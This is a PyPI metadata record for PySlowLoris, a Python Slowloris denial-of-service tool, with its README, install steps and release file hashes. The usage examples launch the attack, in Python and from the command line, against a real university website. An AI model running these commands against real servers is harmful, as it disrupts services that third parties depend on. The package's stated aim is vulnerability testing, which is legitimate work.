{ "info": { "author": "Maxim Krivich", "author_email": "maxkrivich@gmail.com", "bugtrack_url": null, "classifiers": [ "Intended Audience :: Developers", "Intended Audience :: End Users/Desktop", "Intended Audience :: System Administrators", "License :: OSI Approved :: MIT License", "Natural Language :: English", "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.7" ], "description": "PySlowLoris\n===========\n\n\n.. image:: https://badges.gitter.im/gitterHQ/gitter.png\n :target: https://gitter.im/SlowLoris-dev/Lobby\n :alt: Gitter chat\n\n\n.. image:: https://img.shields.io/badge/license-MIT%20license-orange.svg\n :target: https://github.com/maxkrivich/SlowLoris/blob/master/LICENSE\n :alt: License\n\n\n.. image:: https://img.shields.io/badge/python-2.7-blue.svg\n :target: https://github.com/maxkrivich/SlowLoris\n :alt: Python\n\n\n.. image:: https://travis-ci.org/maxkrivich/SlowLoris.svg?branch=master\n :target: https://travis-ci.org/maxkrivich/SlowLoris\n :alt: Build Status\n\n\n.. image:: https://requires.io/github/maxkrivich/SlowLoris/requirements.svg?branch=master\n :target: https://requires.io/github/maxkrivich/SlowLoris/requirements/?branch=master\n :alt: Requirements Status\n\n\n.. image:: https://landscape.io/github/maxkrivich/SlowLoris/master/landscape.svg?style=flat\n :target: https://landscape.io/github/maxkrivich/SlowLoris/master\n :alt: Code Health\n\n\n.. image:: https://badge.fury.io/py/PySlowLoris.svg\n :target: https://badge.fury.io/py/PySlowLoris\n :alt: PyPI version\n\n\nThis repository was created for testing Slow Loris vulnerability on different web servers. SL based on keeping alive open connection as long as possible and sending some trash headers to the server. If you are interested what I'm trying doing here, please join my team and let's do fun together. Please DO NOT use this in the real attacks on the servers.\n\nThe main reason why I'm writing this module it is to create the easy tool for the fast check a small personal or corporate web server what based on Apache and etc. Also, last but not least reason is to improve my skills in this sphere.\n\nMore information you can find `here `_.\n\nInstallation\n^^^^^^^^^^^^\n\nPyPi\n~~~~\n\nTo install PySlowLoris, run this command in your terminal:\n\n.. code-block:: sh\n\n $ pip install pyslowloris\n\nThis is the preferred method to install PySlowLoris, as it will always install the most recent stable release.\n\nSource files\n~~~~~~~~~~~~\n\nIn case you downloaded or cloned the source code from `GitHub `_ or your own fork, you can run the following to install cameo for development:\n\n.. code-block:: sh\n\n $ git clone https://github.com/[username]/SlowLoris.git\n $ cd SlowLoris\n $ vitualenv --python=python[version] venv\n $ source venv/bin/active\n $ pip install --editable .\n\nDocker Hub\n~~~~~~~~~~\n\nPulling image from `Docker Hub `_ and run container:\n\n.. code-block:: sh\n\n $ docker pull maxkivich/pyslowloris\n $ docker run --rm -it maxkivich/pyslowloris [-h] [-u URL] [-p PORT] [-s SOCKET_COUNT]\n\nAlso you can build image from `Dockerfile `_ and run container: \n\n.. code-block:: sh\n\n $ docker build -t pyslowloris .\n $ docker run --rm -it pyslowloris [-h] [-u URL] [-p PORT] [-s SOCKET_COUNT]\n\n**Note:** *Don't forget about 'sudo'!*\n\nBasic Usage\n^^^^^^^^^^^\n\nAvailable command list:\n\n.. code-block:: sh\n\n $ slowloris --help\n usage: slowloris [-h] [-u URL] [-s SOCKET_COUNT] [-p PORT]\n\n Small and simple tool for testing Slow Loris vulnerability\n\n optional arguments:\n -h show this help message and exit\n -u URL link to the web server (http://google.com) - str\n -s SOCKET_COUNT maximum count of created connection (default value 300) - int\n -p PORT port what will be used - int\n\nUsing PySlowLoris from code\n~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nHere are some example to start attack from Python code\n\n.. code-block:: py\n\n import time\n from PySlowLoris import TargetInfo, SlowLorisAttack\n\n target = TargetInfo(url=\"http://kpi.ua/\", port=80)\n target.get_info()\n slowloris = SlowLorisAttack(target)\n slowloris.start_attack() # stop_attack()\n\n while True:\n time.sleep(1)\n\nUsing PySlowLoris from terminal\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nThe following command helps to use module from command line\n\n.. code-block:: sh\n\n $ slowloris -u http://kpi.ua/ -s 300\n\nstop execution: Ctrl + C\n########################\n\nBugs, issues and contributing\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nIf you find `bugs `_ or have `suggestions `_ about improving the module, don't hesitate to contact `me `_.\n\nLicense\n^^^^^^^\n\nThis project is licensed under the MIT License - see the `LICENSE `_ file for details\n\nCopyright (c) 2017 Maxim Krivich\n\n`maxkrivich.github.io `_\n\n\n", "description_content_type": null, "docs_url": null, "download_url": "", "downloads": { "last_day": -1, "last_month": -1, "last_week": -1 }, "home_page": "https://github.com/maxkrivich/slowloris/", "keywords": "SlowLoris,ddos,slowloris,ddos,apache,ddos-attacks,denial-of-service,http,exploit,ddos-tool,hacker-scripts,hacking-tool,hacking,vulnerability,slow-requests,cybersecurity,cyber-security,information-security,security,server", "license": "MIT", "maintainer": "", "maintainer_email": "", "name": "PySlowLoris", "package_url": "https://pypi.org/project/PySlowLoris/", "platform": "", "project_url": "https://pypi.org/project/PySlowLoris/", "project_urls": { "Homepage": "https://github.com/maxkrivich/slowloris/" }, "release_url": "https://pypi.org/project/PySlowLoris/0.1.30/", "requires_dist": [ "certifi (==2017.7.27.1)", "chardet (==3.0.4)", "fake-useragent (==0.1.7)", "idna (==2.6)", "pexpect (==4.2.1)", "pluggy (==0.5.1)", "ptyprocess (==0.5.2)", "py (==1.4.34)", "requests (==2.18.4)", "urllib3 (==1.22)" ], "requires_python": "", "summary": "Small and simple tool for testing Slow Loris vulnerability", "version": "0.1.30" }, "last_serial": 3137888, "releases": { "0.1.29": [ { "comment_text": "", "digests": { "md5": "530e3d6269c747ecb626ab57100228ca", "sha256": "8d68eba5436dc14cf1ac7c3ffa7c95c39745e78eee7f44395d2181f7ed0ee6f8" }, "downloads": -1, "filename": "PySlowLoris-0.1.29-py2.py3-none-any.whl", "has_sig": false, "md5_digest": "530e3d6269c747ecb626ab57100228ca", "packagetype": "bdist_wheel", "python_version": "py2.py3", "requires_python": null, "size": 17355, "upload_time": "2017-08-29T16:11:16", "url": "https://files.pythonhosted.org/packages/0c/a0/03bea425d72db4ae0b8c226876d04b0b71743a0fdeaf831b56f551b6feac/PySlowLoris-0.1.29-py2.py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "e45579ac5accc8093917a5203b129fed", "sha256": "6494371079944c5f15b79a0f8cdca70501132728cd89692542909131a68d1be3" }, "downloads": -1, "filename": "PySlowLoris-0.1.29.tar.gz", "has_sig": false, "md5_digest": "e45579ac5accc8093917a5203b129fed", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 9930, "upload_time": "2017-08-29T16:11:17", "url": "https://files.pythonhosted.org/packages/f7/35/9f3587bd35179eebfb1fe81d796794d70447558d894b12832b6b4cd428b3/PySlowLoris-0.1.29.tar.gz" } ], "0.1.3": [ { "comment_text": "", "digests": { "md5": "56d8b9366d2eeb087ecd2fbae5f89d7d", "sha256": "f2c76b08545afe73c5aacf1529c94904a723f9d6315f0bd4db3b123e41081e53" }, "downloads": -1, "filename": "PySlowLoris-0.1.3-py2.py3-none-any.whl", "has_sig": false, "md5_digest": "56d8b9366d2eeb087ecd2fbae5f89d7d", "packagetype": "bdist_wheel", "python_version": "py2.py3", "requires_python": null, "size": 18518, "upload_time": "2017-08-31T15:03:00", "url": "https://files.pythonhosted.org/packages/f8/65/c1f938ba35e50b499d9c82f88f6506340e71d4e443ec726983c21fec9455/PySlowLoris-0.1.3-py2.py3-none-any.whl" } ], "0.1.30": [ { "comment_text": "", "digests": { "md5": "c5d319deeadc9b9fcd26d5b109654630", "sha256": "a67edf0d2bed125c8a966ba39270841937868aad4f7eba62ce34cb5578a05a3b" }, "downloads": -1, "filename": "PySlowLoris-0.1.30-py2.py3-none-any.whl", "has_sig": false, "md5_digest": "c5d319deeadc9b9fcd26d5b109654630", "packagetype": "bdist_wheel", "python_version": "py2.py3", "requires_python": null, "size": 18539, "upload_time": "2017-08-31T15:03:19", "url": "https://files.pythonhosted.org/packages/e5/ec/833223c4587b6e2decf62422bc69e52765a1ccd9cfc040b682d642c867ff/PySlowLoris-0.1.30-py2.py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "a64e0a98f09e2604b298dd0e3d9dc5b2", "sha256": "f524d59c86ed5707dd0ef2d86cbc327a014674f0b35078c473ea598c78904fcc" }, "downloads": -1, "filename": "PySlowLoris-0.1.30.tar.gz", "has_sig": false, "md5_digest": "a64e0a98f09e2604b298dd0e3d9dc5b2", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 11542, "upload_time": "2017-08-31T15:03:23", "url": "https://files.pythonhosted.org/packages/cb/71/8664fcebc6e20d4d9f5213f7c67dffc4ccff7aa2b67ed56486be62805b7f/PySlowLoris-0.1.30.tar.gz" } ] }, "urls": [ { "comment_text": "", "digests": { "md5": "c5d319deeadc9b9fcd26d5b109654630", "sha256": "a67edf0d2bed125c8a966ba39270841937868aad4f7eba62ce34cb5578a05a3b" }, "downloads": -1, "filename": "PySlowLoris-0.1.30-py2.py3-none-any.whl", "has_sig": false, "md5_digest": "c5d319deeadc9b9fcd26d5b109654630", "packagetype": "bdist_wheel", "python_version": "py2.py3", "requires_python": null, "size": 18539, "upload_time": "2017-08-31T15:03:19", "url": "https://files.pythonhosted.org/packages/e5/ec/833223c4587b6e2decf62422bc69e52765a1ccd9cfc040b682d642c867ff/PySlowLoris-0.1.30-py2.py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "a64e0a98f09e2604b298dd0e3d9dc5b2", "sha256": "f524d59c86ed5707dd0ef2d86cbc327a014674f0b35078c473ea598c78904fcc" }, "downloads": -1, "filename": "PySlowLoris-0.1.30.tar.gz", "has_sig": false, "md5_digest": "a64e0a98f09e2604b298dd0e3d9dc5b2", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 11542, "upload_time": "2017-08-31T15:03:23", "url": "https://files.pythonhosted.org/packages/cb/71/8664fcebc6e20d4d9f5213f7c67dffc4ccff7aa2b67ed56486be62805b7f/PySlowLoris-0.1.30.tar.gz" } ] }